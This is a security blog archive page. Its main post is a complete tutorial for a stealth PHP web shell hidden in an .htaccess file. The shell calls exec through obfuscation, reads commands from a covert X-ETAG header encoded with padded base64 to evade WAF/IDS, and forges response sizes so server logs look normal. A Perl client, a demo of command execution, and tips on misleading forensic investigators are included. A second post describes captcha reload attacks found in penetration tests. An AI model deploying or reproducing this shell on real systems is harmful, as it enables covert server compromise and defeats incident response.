Eldar Marcussen: December 2011 Archives

Writing a stealth web shell

| | Comments (2)
People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:
  • No bad function calls
  • Hidden file
  • Hidden payload
  • Hidden url
  • WAF/IDS bypass
  • Limited forensic evidence
Looks like a small list, shouldn't be too hard....

No bad function calls
The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call,  or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file
I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload
In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url
Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass
By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence
This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.
# grep favicon.ico /var/log/apache2/access.log
78.84.166.152 - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-"
76.120.74.98 - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
76.120.74.98 - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
192.168.24.122 - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway:
127.0.0.1 - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

- No bad function calls
Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

- Hidden file
the shell is .htaccess, as hidden as it gets.

- Hidden payload
Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

- Hidden url
Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

- WAF/IDS bypass
By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.
base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))

- Limited forensic evidence
By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:
# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web

    Order allow,deny
    Allow from all


# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1

# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:
#!/usr/bin/perl
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul - http://www.justanotherhacker.com

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16');

sub usage {
    print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
    exit 2;
}

my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
    print "\nshell> ";
    $cmd = readline;
    chomp $cmd;
    my $payload = 'AA'.encode_base64($cmd);
    my $response = $ua->get( $url, 'X-ETAG' => $payload);
    if ($response->header('X-ETAG')) {
      print decode_base64(substr($response->header('X-ETAG'),2));
    } else {
      print "Error! No payload in response!\n";
    }
}

A quick demo:
# GET http://localhost/favicon.ico | head -1
________________________________________
h6  �@@(F( 
# ./stsh.pl http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log
127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.
Some parting notes:
  • Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.
  • Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.
  • Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.
  • I guess it's OK to call the htshells project stealth now??
  • Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

If I missed anything, please leave a commant and I will address it. If you like my work, please say thanks or buy me a beer!


Captcha reload and other attacks

|
This post has been sitting in draft state for almost two years now so I figured I'd publish it. The captcha reload attack in particular attack targets captchas that support some form of user supplied input and change the captcha value in session upon image creation. In it's simplest form the attack works like this;
  1. Attacker visits page with captcha (session has captcha value y)
  2. Attacker loads a targeted captcha url which changes the value of the session (session has captcha value z)
  3. Attacker submits form from step1 with a certainty or increased likelyhood of having the correct captcha due to step2.
Better yet, lets discuss some real examples I have discovered during penetration tests.

User suppplied text in captcha url
(http://domain.com/captcha/image.php?w=aZcG5x)
Captcha value = query string. I'm not going to dicuss this one.

User suppplied seed in captcha url (http://domain.com/captcha/image.php?r=13323)
A known seed is as good as providing the captcha string in url. Once a human decodes the captcha message it will never change.

User suppplied text in domain state in captcha url (http://domain.com/captcha/image.php?t=HFG_UJHNB_jBHHJGSDJSMSAKDJGSJetcetc)
As above if the session is updated. In the penetration test where I found this the session was not updated, however the text can be used to identify known captcha text if a human decodes a few hundred captchas (they were only using 4 letters). In this case the attacker would reload the step1 url until a known domainstate string  appears and submit the form with certainty of the captcha value.

User suppplied complexity in captcha url (http://domain.com/captcha/image.php?characters=3)
This one comes from an old copy of this script: http://www.white-hat-web-design.co.uk/blog/php-captcha-security-images/. By reloading the captcha the captcha complexity would be reduced to 3 characthers This script also allowed you to increase the image size which caused the letters to appear with far less obfuscation. Older versions of the script allowed you to lowver the character count to 1 and allowed image sizes so large that you could remove the text obfuscation completely or cause a denial of service attack by generating very large images.

Since the white hat web guys are kind enough to host a demo I decided to make a video showing how the attack works:

No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.